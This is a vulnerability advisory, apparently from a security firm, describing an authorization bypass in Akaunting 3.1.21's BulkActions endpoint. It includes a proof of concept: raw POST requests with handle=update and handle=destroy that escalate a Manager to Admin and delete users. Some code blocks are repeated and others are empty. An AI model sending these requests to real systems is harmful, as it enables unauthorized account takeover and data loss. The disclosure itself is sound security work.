Akaunting 3.1.21 - Improper authorization in BulkActions handle dispatch

8,7

High

Discovered by

Jaime Ramírez

External researcher

Summary

Full name

Akaunting 3.1.21 - Improper authorization in BulkActions handle dispatch

Code name

State

Public

Release date

Affected product

Akaunting

Vendor

Akaunting

Affected version(s)

3.1.21

Fixed version(s)

3.2.1

Vulnerability name

Privilege escalation

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.7

Exploit available

Yes

Description

Akaunting 3.1.21 contains an authenticated improper authorization vulnerability in the common BulkActions dispatcher.

The BulkActions endpoint accepts a request-controlled handle parameter and invokes a method with the same name on the resolved BulkAction class. Authorization is coupled to the $actions metadata array, but the vulnerable dispatcher only checks permissions when the user-supplied handle exists as a direct key in that array.

This design misses two important cases:

  • internal submit handles, such as update, declared under a modal action like edit;

  • callable methods, such asdestroy, that exist on the BulkAction class but are not exposed as direct action keys.

As a result, an authenticated user with access to the admin route group but without user-management permissions can call handle=update or handle=destroy against App\BulkActions\Auth\Users. In the default role model, a Manager has admin-panel access but lacks auth-users permissions. The Manager can still send a direct POST request to the BulkActions endpoint and update user roles or delete other users.

Vulnerability

Root Cause

  1. The BulkActions route is exposed to authenticated admin-panel users

    routes/admin.php registers the common bulk action endpoint:

    The route is mounted under /{company_id} with the admin middleware group, which requires authentication and read-admin-panel, but it does not enforce per-resource permissions by itself.

  2. The vulnerable dispatcher trusts the request-controlled handle

    In Akaunting 3.1.21, BulkActions::action() reads handle from the request:

    It then checks permission only if the submitted handle is present as a direct key in $bulk_actions->actions:

    
    
    
    
    
    
    
    

    If the handle is not in $actions, the condition is false and no permission is enforced.

  3. The dispatcher then invokes the handle as a method

    The same request-controlled handle is used for dynamic method dispatch:

    There is no allowlist check in 3.1.21 to ensure the method belongs to a declared action or inherits the permission of a parent modal action.

  4. User bulk actions expose privileged methods

    App\BulkActions\Auth\Users declares these intended actions:

    
    
    
    
    
    
    
    

    The class also implements update() and destroy():

    
    
    
    
    
    
    
    

    In 3.1.21, direct handle=update and handle=destroy requests bypass the intended update-auth-users and delete-auth-users gates.

  5. The job layer does not restore the missing permission check

    UpdateUser syncs roles if the request contains roles:

    
    
    
    
    
    
    
    

    DeleteUser only prevents deleting the current user:

    
    
    
    
    
    
    
    

    Neither job checks whether the caller has update-auth-users or delete-auth-users.

  6. The fix adds a handle allowlist and modal-handle permission inheritance

    Commit 96c38008cf6f907e3e7341d9660de2912e0f2f13 adds an allowlist guard to BulkActions::action(). The fixed code resolves direct action keys and modal submit handles before checking permissions. Unknown handles now return a 403-style error instead of being dynamically invoked.

Impact

An authenticated Manager, or any account with read-admin-panel but without user-management permissions, can bypass intended authorization in Akaunting 3.1.21.

Confirmed impact from source review:

  • Change another user's attributes accepted by UpdateUser.

  • Sync arbitrary submitted role IDs onto selected users through handle=update.

  • Promote the attacker-controlled Manager account to Admin if the Admin role ID is known or guessed.

  • Delete other user accounts through handle=destroy.

  • Disable users through inherited or explicit update paths where the handle is not correctly permission-gated.

Potential business impact:

  • Privilege escalation from Manager to Admin.

  • Unauthorized user administration.

  • Loss of account availability by deleting or disabling users.

  • Unauthorized access to financial and administrative data after role escalation.

The issue requires authentication, an active session, and a valid CSRF token. It does not require user interaction from a victim. The attacker also needs a valid {company_id} route context and target user IDs. User IDs are typically low-entropy database identifiers and may be discoverable from responses, logs, predictable sequencing, or prior access.

PoC

Preconditions

  • Akaunting 3.1.21.

  • Application reachable at http://localhost:8080.

  • An authenticated Manager account.

  • The Manager has read-admin-panel but does not have update-auth-users or delete-auth-users.

  • A valid session cookie and CSRF token for the Manager.

  • Target user IDs and role IDs are known. In default seeded/local environments, these values are usually small numeric IDs.

Local setup from the original submission

The original CVE submission uses Akaunting's Docker image pinned to 3.1.21-v:

git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d
git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d
git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d
git clone https://github.com/akaunting/docker.git akaunting-poc
cd akaunting-poc
sed -i 's|akaunting/akaunting:latest|akaunting/akaunting:3.1.21-v|' docker-compose.yml
AKAUNTING_SETUP=true docker compose up -d

The submission then creates a Manager attacker account through Artisan/Tinker and assigns the default manager role while attaching the user to company 1. The Manager account is used to prove that a user with admin-panel access but without update-auth-users can still call the vulnerable BulkActions endpoint.

When creating the Manager user through Tinker, assign the password as the plaintext value, not bcrypt('Manager1234!'), because App\Models\Auth\User::setPasswordAttribute() hashes the value during assignment. Passing an already-hashed value causes double hashing and prevents login.

Step 1 - Confirm the attacker starts as Manager

Log in as the Manager user and observe that the account does not have user-management permissions. The supplied evidence shows Attacker Manager with the Manager role before exploitation.

Step 2 - Promote the Manager account through the bulk update handle

Send a direct POST request to the BulkActions endpoint using handle=update:

POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=update&selected[]=<attacker_user_id>&roles[]=<admin_role_id>

Expected vulnerable result:

  • BulkActions::action() does not find actions['update']['permission'].

  • The permission condition is skipped.

  • $bulk_actions->update($request) executes.

  • UpdateUser syncs the submitted Admin role onto the selected attacker user.

  • The attacker account is upgraded from Manager to Admin.

Step 3 - Delete a target user through the bulk destroy handle

Send a direct POST request using handle=destroy:

POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>
POST /1/common/bulk-actions/auth/users HTTP/1.1
Host: localhost:8080
Cookie: <manager session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&handle=destroy&selected[]=<target_user_id>

Expected vulnerable result:

  • BulkActions::action() does not find actions['destroy']['permission'].

  • The permission condition is skipped.

  • $bulk_actions->destroy($request) executes.

  • DeleteUser deletes the target user unless the target is the current attacker account.

Step 4 - Confirm the impact

Refresh the Users page or inspect the database.

Observed evidence supplied with the report:

  • Before exploitation, Attacker Manager has role Manager.

  • After exploitation, Attacker Manager has role Admin.

  • The footer in both screenshots identifies Akaunting Version 3.1.21.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-19198 to refer to this issue from now on.

Disclosure policy

System Information

  • Akaunting

  • Version: 3.1.21

  • Operating System: Any

References

Mitigation

An updated version of Akaunting is available on the vendor page.

Credits

The vulnerability was discovered by Jaime Ramirez, an independent security researcher.

Timeline

Vulnerability discovered

Vendor contacted

Follow-up with vendor

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.